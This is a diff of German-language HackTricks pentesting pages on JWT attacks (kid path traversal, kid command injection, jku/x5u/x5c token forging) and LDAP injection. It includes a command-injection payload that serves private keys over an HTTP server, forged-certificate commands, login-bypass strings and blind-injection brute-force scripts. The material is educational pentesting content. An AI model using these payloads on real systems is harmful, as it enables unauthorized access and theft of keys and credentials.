|
||||
|
||||
Wenn der `kid`-Claim im Header vorhanden ist, wird empfohlen, das Webverzeichnis nach der entsprechenden Datei oder deren Varianten zu durchsuchen. Wenn beispielsweise `"kid":"key/12345"` angegeben ist, sollten die Dateien _/key/12345_ und _/key/12345.pem_ im Webstamm gesucht werden.
|
||||
Wenn der `kid`-Claim im Header vorhanden ist, wird empfohlen, das Webverzeichnis nach der entsprechenden Datei oder deren Varianten zu durchsuchen. Wenn beispielsweise `"kid":"key/12345"` angegeben ist, sollten die Dateien _/key/12345_ und _/key/12345.pem_ im Web-Root gesucht werden.
|
||||
|
||||
#### Pfadtraversierung mit "kid"
|
||||
|
||||
Der `kid`-Claim kann auch ausgenutzt werden, um durch das Dateisystem zu navigieren, was möglicherweise die Auswahl einer beliebigen Datei ermöglicht. Es ist möglich, die Konnektivität zu testen oder Server-seitige Anfragefälschungen (SSRF) anhand des Änderns des `kid`-Werts auf bestimmte Dateien oder Dienste durchzuführen. Das Manipulieren des JWT, um den `kid`-Wert zu ändern und gleichzeitig die ursprüngliche Signatur beizubehalten, kann mithilfe des `-T`-Flags in jwt\_tool erreicht werden, wie unten dargestellt:
|
||||
|
||||
Der `kid`-Claim kann auch ausgenutzt werden, um durch das Dateisystem zu navigieren, was möglicherweise die Auswahl einer beliebigen Datei ermöglicht. Es ist möglich, die Konnektivität zu testen oder Server-seitige Anfragefälschungen (SSRF) anhand des Änderns des `kid`-Werts auf bestimmte Dateien oder Dienste durchzuführen. Das Manipulieren des JWT, um den `kid`-Wert zu ändern und gleichzeitig die ursprüngliche Signatur beizubehalten, kann mithilfe des `-T`-Flags in jwt_tool erreicht werden, wie unten dargestellt:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
||||
Durch die Ausrichtung auf Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei `/proc/sys/kernel/randomize_va_space` in Linux-Systemen, die den Wert **2** enthält, im `kid`-Parameter mit **2** als symmetrischem Passwort für die JWT-Generierung verwendet werden.
|
||||
|
||||
#### SQL-Injection über "kid"
|
||||
|
@ -142,7 +134,7 @@ Diese Änderung zwingt zur Verwendung eines bekannten geheimen Schlüssels, `ATT
|
|||
|
||||
#### OS-Injection über "kid"
|
||||
|
||||
Ein Szenario, in dem der `kid`-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Sicherheitslücken führen. Durch das Einschleusen von Befehlen in den `kid`-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel-Payload zur Erzielung von RCE und Schlüsseloffenlegung lautet:
|
||||
Ein Szenario, in dem der `kid`-Parameter einen Dateipfad angibt, der in einem Befehlsausführungskontext verwendet wird, könnte zu Remote Code Execution (RCE)-Sicherheitslücken führen. Durch das Einschleusen von Befehlen in den `kid`-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel-Payload zur Erzielung von RCE und Schlüsseloffenlegung lautet:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -154,17 +146,14 @@ jku steht für **JWK Set URL**.\
|
|||
Wenn das Token einen "**jku**" **Header**-Claim verwendet, **überprüfen Sie die bereitgestellte URL**. Diese sollte auf eine URL verweisen, die die JWKS-Datei enthält, die den öffentlichen Schlüssel zur Überprüfung des Tokens enthält. Manipulieren Sie das Token, um den jku-Wert auf einen Webdienst zu verweisen, über den Sie den Datenverkehr überwachen können.
|
||||
|
||||
Zuerst müssen Sie ein neues Zertifikat mit neuen privaten und öffentlichen Schlüsseln erstellen.
|
||||
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
|
||||
Dann können Sie beispielsweise [**jwt.io**](https://jwt.io) verwenden, um das neue JWT mit den **erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter jku auf das erstellte Zertifikat zu verweisen.** Um ein gültiges jku-Zertifikat zu erstellen, können Sie das Original herunterladen und die erforderlichen Parameter ändern.
|
||||
|
||||
Sie können die Parameter "e" und "n" aus einem öffentlichen Zertifikat extrahieren, indem Sie:
|
||||
|
||||
```bash
|
||||
from Crypto.PublicKey import RSA
|
||||
fp = open("publickey.crt", "r")
|
||||
|
@ -173,47 +162,41 @@ fp.close()
|
|||
print("n:", hex(key.n))
|
||||
print("e:", hex(key.e))
|
||||
```
|
||||
|
||||
#### x5u
|
||||
|
||||
X.509-URL. Eine URI, die auf eine Reihe von X.509 (einem Zertifikatsformatstandard) öffentlichen Zertifikaten im PEM-Format verweist. Das erste Zertifikat in der Reihe muss dasjenige sein, das zum Signieren dieses JWT verwendet wurde. Die nachfolgenden Zertifikate signieren jeweils das vorherige, wodurch die Zertifikatskette vervollständigt wird. X.509 ist in RFC 52807 definiert. Der Transport von Sicherheitszertifikaten ist erforderlich, um die Zertifikate zu übertragen.
|
||||
X.509-URL. Eine URI, die auf eine Reihe von X.509 (einem Zertifikatsformatstandard) öffentlichen Zertifikaten im PEM-Format verweist. Das erste Zertifikat in der Reihe muss dasjenige sein, das zum Signieren dieses JWT verwendet wurde. Die nachfolgenden Zertifikate signieren jeweils das vorherige, wodurch die Zertifikatskette vervollständigt wird. X.509 ist in RFC 52807 definiert. Der Transport von Sicherheitszertifikaten ist erforderlich.
|
||||
|
||||
Versuchen Sie, **diesen Header in eine URL unter Ihrer Kontrolle zu ändern** und überprüfen Sie, ob Anfragen empfangen werden. In diesem Fall **könnten Sie das JWT manipulieren**.
|
||||
|
||||
Um ein neues Token mit einem von Ihnen kontrollierten Zertifikat zu fälschen, müssen Sie das Zertifikat erstellen und die öffentlichen und privaten Schlüssel extrahieren:
|
||||
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
|
||||
Dann können Sie beispielsweise [**jwt.io**](https://jwt.io) verwenden, um das neue JWT mit den **erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter x5u auf das Zertifikat .crt zu verweisen, das erstellt wurde.**
|
||||
|
||||
![](<../.gitbook/assets/image (439).png>)
|
||||
![](<../.gitbook/assets/image (953).png>)
|
||||
|
||||
Sie können auch beide Schwachstellen **für SSRFs missbrauchen**.
|
||||
|
||||
#### x5c
|
||||
|
||||
Dieser Parameter kann das **Zertifikat in Base64** enthalten:
|
||||
Dieser Parameter kann das **Zertifikat im Base64-Format** enthalten:
|
||||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
Wenn der Angreifer ein selbstsigniertes Zertifikat **generiert und ein gefälschtes Token erstellt, das den entsprechenden privaten Schlüssel verwendet, und den Wert des Parameters "x5c" durch das neu generierte Zertifikat ersetzt und die anderen Parameter, nämlich n, e und x5t, modifiziert, dann würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden.**
|
||||
![](<../.gitbook/assets/image (1116).png>)
|
||||
|
||||
Wenn der Angreifer ein selbstsigniertes Zertifikat erstellt und ein gefälschtes Token mit dem entsprechenden privaten Schlüssel erstellt und den Wert des Parameters "x5c" durch das neu generierte Zertifikat ersetzt und die anderen Parameter, nämlich n, e und x5t, modifiziert, würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
|
||||
### Eingebetteter öffentlicher Schlüssel (CVE-2018-0114)
|
||||
|
||||
Wenn das JWT einen eingebetteten öffentlichen Schlüssel hat, wie im folgenden Szenario:
|
||||
|
||||
![](<../.gitbook/assets/image (438).png>)
|
||||
![](<../.gitbook/assets/image (619).png>)
|
||||
|
||||
Mit dem folgenden Node.js-Skript ist es möglich, einen öffentlichen Schlüssel aus diesen Daten zu generieren:
|
||||
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -223,17 +206,13 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
|
||||
Es ist möglich, einen neuen privaten/öffentlichen Schlüssel zu generieren, den neuen öffentlichen Schlüssel im Token einzubetten und ihn zu verwenden, um eine neue Signatur zu generieren:
|
||||
|
||||
Es ist möglich, einen neuen privaten/öffentlichen Schlüssel zu generieren, den neuen öffentlichen Schlüssel im Token einzubetten und ihn zur Generierung einer neuen Signatur zu verwenden:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
|
||||
Sie können das "n" und "e" mit diesem Node.js-Skript erhalten:
|
||||
|
||||
Du kannst das "n" und "e" mit diesem Node.js-Skript erhalten:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -243,7 +222,6 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
|
||||
### ES256: Offenlegung des privaten Schlüssels mit demselben Nonce
|
||||
|
||||
Wenn einige Anwendungen ES256 verwenden und denselben Nonce verwenden, um zwei JWTs zu generieren, kann der private Schlüssel wiederhergestellt werden.
|
||||
|
@ -252,7 +230,7 @@ Hier ist ein Beispiel: [ECDSA: Offenlegung des privaten Schlüssels, wenn dersel
|
|||
|
||||
### JTI (JWT ID)
|
||||
|
||||
Die JTI (JWT ID) Behauptung bietet einen eindeutigen Identifikator für ein JWT-Token. Es kann verwendet werden, um das Token vor Wiedergabe zu schützen.\
|
||||
Die JTI (JWT ID) Behauptung bietet einen eindeutigen Identifikator für ein JWT-Token. Es kann verwendet werden, um das Token vor Wiederholung zu schützen.\
|
||||
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfrage 0001 und 10001 werden dieselbe ID verwenden. Wenn also das Backend die ID bei jeder Anfrage inkrementiert, könnten Sie dies missbrauchen, um **eine Anfrage zu wiederholen** (es müssen 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden).
|
||||
|
||||
### JWT Registrierte Behauptungen
|
||||
|
@ -263,13 +241,13 @@ Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4
|
|||
|
||||
**Cross-Service Relay-Angriffe**
|
||||
|
||||
Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst zur Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client von dem JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausstellung oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich bei einem anderen Client dieses Dienstes mit demselben Benutzernamen/E-Mail anzumelden. Es sollte dann versucht werden, das erhaltene Token in einer Anfrage an das Ziel zu wiederholen, um zu sehen, ob es akzeptiert wird.
|
||||
Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst für die Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client von dem JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausstellung oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich bei einem anderen Client dieses Dienstes mit demselben Benutzernamen/E-Mail anzumelden. Es sollte dann versucht werden, das erhaltene Token in einer Anfrage an das Ziel zu wiederholen, um zu sehen, ob es akzeptiert wird.
|
||||
|
||||
* Die Akzeptanz Ihres Tokens könnte auf ein kritisches Problem hinweisen, das möglicherweise das Spoofing des Kontos eines beliebigen Benutzers ermöglicht. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfangreichere Tests erforderlich ist, wenn Sie sich bei einer Anwendung eines Drittanbieters anmelden, da dies in eine rechtliche Grauzone geraten könnte.
|
||||
|
||||
**Ablaufprüfung von Tokens**
|
||||
|
||||
Der Ablauf des Tokens wird mithilfe der "exp" Payload-Behauptung überprüft. Da JWTs häufig ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Wiederholen eines anderen Benutzertokens das Vortäuschen dieses Benutzers ermöglichen. Der JWT RFC empfiehlt, JWT-Wiederholungsangriffe zu verhindern, indem die "exp"-Behauptung verwendet wird, um eine Ablaufzeit für das Token festzulegen. Darüber hinaus ist die Implementierung entsprechender Überprüfungen durch die Anwendung erforderlich, um die Verarbeitung dieses Werts sicherzustellen und abgelaufene Tokens abzulehnen. Wenn das Token eine "exp"-Behauptung enthält und die Testzeiten dies zulassen, wird empfohlen, das Token zu speichern und es nach Ablauf der Ablaufzeit erneut zu senden. Der Inhalt des Tokens, einschließlich der Zeitstempelanalyse und Ablaufprüfung (Zeitstempel in UTC), kann mithilfe der -R-Flagge des jwt\_tool gelesen werden.
|
||||
Der Ablauf des Tokens wird mithilfe der "exp" Payload-Behauptung überprüft. Da JWTs häufig ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Wiederholen eines anderen Benutzertokens das Vortäuschen dieses Benutzers ermöglichen. Der JWT RFC empfiehlt, JWT-Wiederholungsangriffe zu verhindern, indem die "exp"-Behauptung verwendet wird, um eine Ablaufzeit für das Token festzulegen. Darüber hinaus ist die Implementierung entsprechender Überprüfungen durch die Anwendung erforderlich, um die Verarbeitung dieses Werts sicherzustellen und abgelaufene Tokens abzulehnen. Wenn das Token eine "exp"-Behauptung enthält und die Testzeiten es zulassen, wird empfohlen, das Token zu speichern und es nach Ablauf der Ablaufzeit erneut zu senden. Der Inhalt des Tokens, einschließlich Zeitstempelanalyse und Ablaufprüfung (Zeitstempel in UTC), kann mithilfe der -R-Flagge des jwt_tool gelesen werden.
|
||||
|
||||
* Ein Sicherheitsrisiko könnte bestehen, wenn die Anwendung das Token immer noch validiert, da dies darauf hindeuten könnte, dass das Token niemals abläuft.
|
||||
|
||||
|
@ -277,7 +255,7 @@ Der Ablauf des Tokens wird mithilfe der "exp" Payload-Behauptung überprüft. Da
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/de/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -289,10 +267,10 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# LDAP Injection
|
||||
# LDAP-Injektion
|
||||
|
||||
## LDAP-Injektion
|
||||
|
||||
|
@ -8,17 +8,17 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
- Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
- Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
- Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -32,9 +32,9 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAP-Injektion** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Dies tritt auf, wenn die Anwendung **Eingaben nicht ordnungsgemäß bereinigt**, was es Angreifern ermöglicht, **LDAP-Anweisungen durch einen lokalen Proxy zu manipulieren**, was möglicherweise zu unbefugtem Zugriff oder Datenmanipulation führt.
|
||||
**LDAP-Injektion** ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Dies tritt auf, wenn die Anwendung **Eingaben nicht ordnungsgemäß bereinigt**, wodurch Angreifer LDAP-Anweisungen durch einen lokalen Proxy **manipulieren** können, was möglicherweise zu unbefugtem Zugriff oder Datenmanipulation führt.
|
||||
|
||||
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
|
@ -70,12 +70,11 @@ Beispiel: `(&(directory=val1)(folder=public))`
|
|||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||||
|
||||
Dann: `(&(objectClass=`**`*)(ObjectClass=*))`** wird der erste Filter sein (der ausgeführte).
|
||||
Dann: `(&(objectClass=`**`*)(ObjectClass=*))`** wird der erste Filter sein (der ausgeführt wird).
|
||||
|
||||
### Anmeldeumgehung
|
||||
|
||||
LDAP unterstützt mehrere Formate zum Speichern des Passworts: Klartext, md5, smd5, sh1, sha, crypt. Daher kann es sein, dass unabhängig davon, was Sie im Passwort eingeben, es gehasht wird.
|
||||
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -130,17 +129,15 @@ username=admin))(|(|
|
|||
password=any
|
||||
--> (&(uid=admin)) (| (|) (webpassword=any))
|
||||
```
|
||||
|
||||
#### Listen
|
||||
|
||||
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||||
* [LDAP Attribute](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
||||
* [LDAP PosixAccount Attribute](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||
|
||||
### Blinde LDAP-Injektion
|
||||
|
||||
Sie können falsche oder wahre Antworten erzwingen, um zu überprüfen, ob Daten zurückgegeben werden, und eine mögliche blinde LDAP-Injektion bestätigen:
|
||||
### Blind LDAP Injection
|
||||
|
||||
Sie können falsche oder wahre Antworten erzwingen, um zu überprüfen, ob Daten zurückgegeben werden und eine mögliche blinde LDAP-Injektion zu bestätigen:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
|
@ -152,11 +149,9 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
|
|||
Payload: void)(objectClass=void))(&objectClass=void
|
||||
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
|
||||
```
|
||||
|
||||
#### Daten abrufen
|
||||
|
||||
Sie können über die ASCII-Buchstaben, Zahlen und Symbole iterieren:
|
||||
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -167,11 +162,9 @@ Sie können über die ASCII-Buchstaben, Zahlen und Symbole iterieren:
|
|||
(&(sn=administrator)(password=MB*)) : KO
|
||||
...
|
||||
```
|
||||
|
||||
#### **Entdecken gültiger LDAP-Felder**
|
||||
|
||||
LDAP-Objekte **enthalten standardmäßig mehrere Attribute**, die zur **Speicherung von Informationen** verwendet werden können. Sie können versuchen, **sie alle per Brute-Force zu durchsuchen, um diese Informationen zu extrahieren**. Eine Liste der [**Standard-LDAP-Attribute finden Sie hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -203,9 +196,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
|||
finish = True
|
||||
print()
|
||||
```
|
||||
|
||||
#### **Spezielle Blind LDAP-Injektion (ohne "\*")**
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -222,22 +213,19 @@ flag += char
|
|||
print("[+] Flag: " + flag)
|
||||
break
|
||||
```
|
||||
|
||||
### Google Dorks
|
||||
|
||||
### Google Dorks
|
||||
|
||||
```bash
|
||||
intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
|
||||
### Weitere Payloads
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/de/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Karriere im Hacking** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -251,6 +239,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# PostgreSQL injection
|
||||
# PostgreSQL Injection
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,27 +10,27 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
